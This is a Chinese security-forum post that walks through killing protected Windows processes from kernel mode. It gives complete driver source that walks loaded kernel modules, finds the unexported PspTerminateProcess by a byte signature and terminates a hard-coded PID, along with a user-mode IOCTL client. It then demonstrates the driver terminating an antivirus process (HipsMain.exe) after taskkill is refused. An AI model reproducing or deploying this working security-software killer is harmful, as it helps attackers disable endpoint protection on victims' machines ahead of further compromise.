安全矩阵

 找回密码
 立即注册
搜索
查看: 2346|回复: 0

进程强杀初探

[复制链接]

991

主题

1063

帖子

4319

积分

论坛元老

Rank: 8Rank: 8

积分
4319
发表于 2022-2-20 13:58:45 | 显示全部楼层 |阅读模式


​   ↵
前言
我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。
测试
我们首先打开PCHunter32.exe看一下,应用层是不能够访问的,我们知道可以在cmd里面使用taskkill命令来结束进程,但这种方式对ring0特权级别的程序并不适用。

看一下PCHunter32.exe的PID,尝试使用taskkill命令关闭发现拒绝访问

用任务管理器也是同样拒绝访问

ZwTerminateProcess
ZwTerminateProcess例程终止一个进程及其所有线程,它是一个ring0函数,结构及参数如下
NTSYSAPI NTSTATUS ZwTerminateProcess(  [in, optional] HANDLE   ProcessHandle,  [in]           NTSTATUS ExitStatus);

在这个函数里面只需要传入进程句柄和NTSTATUS值就可以杀死一个进程,但是这里又有一个问题,如果我们想利用这个函数去kill掉一个杀软,那么杀软就直接让我们宰割吗,当然不会。
我们能知道这个内核的函数,那么杀软肯定也知道,所以在ring0层面下,杀软将这个内核函数hook掉,如果发现有调用这个函数kill掉自己的企图,还是会拒绝。
PspTerminateProcess
这个函数就有意思了,在msdn里面居然没有找到这个函数,那么是不是我们搞错了呢?

遇事不决找Windbg老师看一下有没有这个结构就知道了,当然是有这个函数的,那为什么在msdn里面找不到呢?

WDK说明文档中只包含了内核模块导出的函数,对于未导出的函数,则不能直接使用。
如果要使用未导出的函数,则有两种方法来使用:
​​
1.暴力搜索,提取该函数的特征码,全盘搜索。
2.如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。
那么我们要想全盘搜索,肯定要先找到内核模块,每个内核模块都有一个对应的结构体,来描述这个模块在内核中的:位置、大小、名称等等。DriverEntry 的第一个参数就是这个结构体。
主要关注DriverSize和DriverName这两个参数,DriverSize主要是表示驱动的大小,DriverName为驱动的名称

编写一个驱动输出driver的地址
#include <ntddk.h>VOID DriverUnload(PDRIVER_OBJECT driver){           DbgPrint("Driver unload successfully!\r\n");}NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path){           DbgPrint("注册表路径:%wZ 地址:%x Hello world!", reg_path, driver);           DbgPrint("%x", driver);           driver->DriverUnload = DriverUnload;           return STATUS_SUCCESS;}
部署一下得到地址为85e17030

然后在DRIVER_OBJECT结构后面加上地址即可得到我们自己驱动的详细信息
kd> dt _DRIVER_OBJECT 85e17030

通过 _DRIVER_OBJECT 结构体中 0x014的偏移有一个成员,DriverSection 则可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:_LDR_DATA_TABLE_ENTRY
看一下_LDR_DATA_TABLE_ENTRY的结构
kd> dt _LDR_DATA_TABLE_ENTRY

加上地址即可得到模块的详细信息

通过InLoadOrderLinks可以查询到其他内核模块的信息。依此类推,可以获取到其他所有的内核模块。


说完了怎样搜寻模块,再来看看怎么找特征码,首先定位到函数。这种mov、push指令因为可能每个模块都会有,所以不能当作特征码,也不能够选重定位的数据当作特征码。

从中挑选如下代码
  1. 805d3487 56              push    esi
  2. 805d3488 64a124010000    mov     eax,dword ptr fs:[00000124h]
  3. 805d348e 8b7508          mov     esi,dword ptr [ebp+8]
  4. 805d3491 3b7044          cmp     esi,dword ptr [eax+44h]
  5. 805d3494 7507            jne     nt!PspTerminateProcess+0x1b (805d349d)
  6. 805d3496 b80d0000c0      mov     eax,0C000000Dh
  7. 805d349b eb5a            jmp     nt!PspTerminateProcess+0x75 (805d34f7)
  8. 805d349d 57              push    edi
复制代码

提取出的相应特征码如下

  1. UCHAR szSpecialCode[] = {0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B,              
  2. 0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,            
  3. 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };
复制代码

那么编写代码,通过特征码定位到PspTerminateProcess函数来杀死进程
  1. #include <ntddk.h>
  2. #include <ntifs.h>

  3. typedef struct _LDR_DATA_TABLE_ENTRY
  4. {
  5.     LIST_ENTRY InLoadOrderLinks;
  6.     LIST_ENTRY InMemoryOrderLinks;
  7.     LIST_ENTRY InInitializationOrderLinks;
  8.     PVOID DllBase;
  9.     PVOID EntryPoint;
  10.     UINT32 SizeOfImage;
  11.     UNICODE_STRING FullDllName;
  12.     UNICODE_STRING BaseDllName;
  13.     UINT32 Flags;
  14.     UINT16 LoadCount;
  15.     UINT16 TlsIndex;
  16.     LIST_ENTRY HashLinks;
  17.     PVOID SectionPointer;
  18.     UINT32 CheckSum;
  19.     UINT32 TimeDateStamp;
  20.     PVOID LoadedImports;
  21.     PVOID EntryPointActivationContext;
  22.     PVOID PatchInformation;
  23. } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

  24. typedef NTSTATUS(*pfnPspTerminateProcess)(PEPROCESS pEprocess, NTSTATUS ExitCode);

  25. VOID DriverUnload(IN PDRIVER_OBJECT driverObject);  //卸载驱动
  26. PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage);   // 查找模块中匹配特征码

  27. ULONG g_uPID = 1492; // 要关闭的进程PID

  28. // 特征码
  29. UCHAR g_szSpecialCode[] = {
  30.     0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B,
  31.     0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,
  32.     0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };
  33. // 特征码长度
  34. UINT32 g_uSpecialCodeLen = sizeof(g_szSpecialCode);

  35. NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
  36. {
  37.     NTSTATUS status = STATUS_SUCCESS;
  38.     PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
  39.     pfnPspTerminateProcess pPspTerminateProcess = NULL;
  40.     PEPROCESS pEprocess = NULL;

  41.     DbgPrint("驱动加载完成\r\n");

  42.     pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
  43.     pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  44.     pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;

  45.     do
  46.     {
  47.         pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

  48.         // 如果存在则搜索特征码
  49.         if (pLdrDataTableEntry->DllBase)
  50.         {
  51.             pPspTerminateProcess = (pfnPspTerminateProcess)
  52.                 SearchFunction((PUCHAR)pLdrDataTableEntry->DllBase, pLdrDataTableEntry->SizeOfImage);
  53.         }

  54.         if (pPspTerminateProcess)
  55.             break;
  56.         
  57.         // 遍历
  58.         pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;

  59.     } while ((UINT32)pLdrDataTableEntry != (UINT32)driverObject->DriverSection);

  60.     if (pPspTerminateProcess)
  61.     {
  62.         status = PsLookupProcessByProcessId((HANDLE)g_uPID, &pEprocess);
  63.         if (NT_SUCCESS(status))
  64.         {
  65.             status = pPspTerminateProcess(pEprocess, 0);

  66.             if (NT_SUCCESS(status))
  67.             {
  68.                 DbgPrint("使用 PspTerminateProcess 关闭进程成功, PID = %d\r\n", g_uPID);
  69.             }
  70.         }
  71.         else
  72.         {
  73.             DbgPrint("PsLookupProcessByProcessId Error 0x%X\r\n", status);
  74.         }
  75.     }

  76.     driverObject->DriverUnload = DriverUnload;
  77.     return STATUS_SUCCESS;
  78. }

  79. VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
  80. {
  81.     DbgPrint("驱动卸载完成\r\n");
  82. }

  83. PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage)
  84. {
  85.     DbgPrint("Here is MemorySearch , length is : %d\r\n", SizeOfImage);

  86.     PVOID pFuncAddr = NULL;
  87.     UINT32 uEnd = (UINT32)DllBase + SizeOfImage - g_uSpecialCodeLen;    // 减去特征码后的长度
  88.     UINT32 i = 0;
  89.     BOOLEAN bOk = TRUE;

  90.     while ((UINT32)DllBase <= uEnd)
  91.     {
  92.         bOk = TRUE;
  93.         for (i = 0; i < g_uSpecialCodeLen; i++)
  94.         {
  95.             if (!MmIsAddressValid(&DllBase[i]) || DllBase[i] != g_szSpecialCode[i])
  96.             {
  97.                 bOk = FALSE;
  98.                 break;
  99.             }
  100.         }

  101.         if (bOk)
  102.         {
  103.             pFuncAddr = (PVOID)(DllBase - 5);
  104.             DbgPrint("找到特征码,内存地址为%p\r\n", pFuncAddr);
  105.             break;
  106.         }
  107.         DllBase++;
  108.     }

  109.     return pFuncAddr;
  110. }
复制代码


编译之后生成.sys文件,我们再来关闭一下PCHunter32.exe,首先用taskkill命令尝试关闭是拒绝访问的

任务管理器也一样

然后安装驱动

启动之后可以看到DebugView里面返回的信息,任务管理器里面已经没有了PCHunter32.exe这个进程

再试下强制kill某绒,这里有三个进程,用HipsMain.exe来进行尝试

首先还是尝试taskkill关闭一下,显示拒绝访问

然后安装并启动驱动即可成功关闭

也可以利用ring3常规方式传输数据到ring0的方式结束进程,ring3层代码如下
  1. // r3tor0killer.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <winioctl.h>


  8. #define SYMBOLICLINK_NAME L"\\\\.\\HbgDevLnk"
  9. #define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
  10. #define OPER2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
  11. #define IN_BUFFER_MAXLENGTH 4
  12. #define OUT_BUFFER_MAXLENGTH 4

  13. int main()
  14. {
  15.     // 获取设备句柄
  16.     HANDLE hDevice =
  17.     CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  18.     DWORD dwError = GetLastError();
  19.     if (hDevice == INVALID_HANDLE_VALUE)
  20.     {
  21.         printf("获取设备句柄失败 %d\n", dwError);  // 如果返回1,在驱动中指定 IRP_MJ_CREATE 处理函数
  22.         getchar();
  23.         return 1;
  24.     }
  25.     else
  26.     {
  27.         printf("获取设备句柄成功 \n");
  28.     }
  29.     // 测试通信
  30.     DWORD dwInBuffer = 0x850;
  31.     DWORD dwOutBuffer = 0;
  32.     DWORD dwOut;
  33.     DeviceIoControl(hDevice, OPER2, &dwInBuffer,
  34.     IN_BUFFER_MAXLENGTH, &dwOutBuffer,  OUT_BUFFER_MAXLENGTH, &dwOut, NULL);
  35.     printf("dwOutBuffer: %08X dwOut: %08X\n", dwOutBuffer, dwOut);
  36.     // 关闭设备
  37.     CloseHandle(hDevice);
  38.     return 0;
  39. }
复制代码

首先注册并启动设备,还是taskkill尝试一下拒绝访问

安装并启动驱动,DebugView显示创建设备成功

然后再利用ring3去连接设备并传输数据,这里打印出了从ring0返回的数据,证明传输是没有问题的,这里就已经成功结束了HipsMain.exe这个进程

再看一下DebugView里面可以看到连接设备过后调用PspTerminateProcess关闭了进程

再通过cmd查看某绒进程HipsMain.exe已经被kill掉


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 23:25 , Processed in 0.013065 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表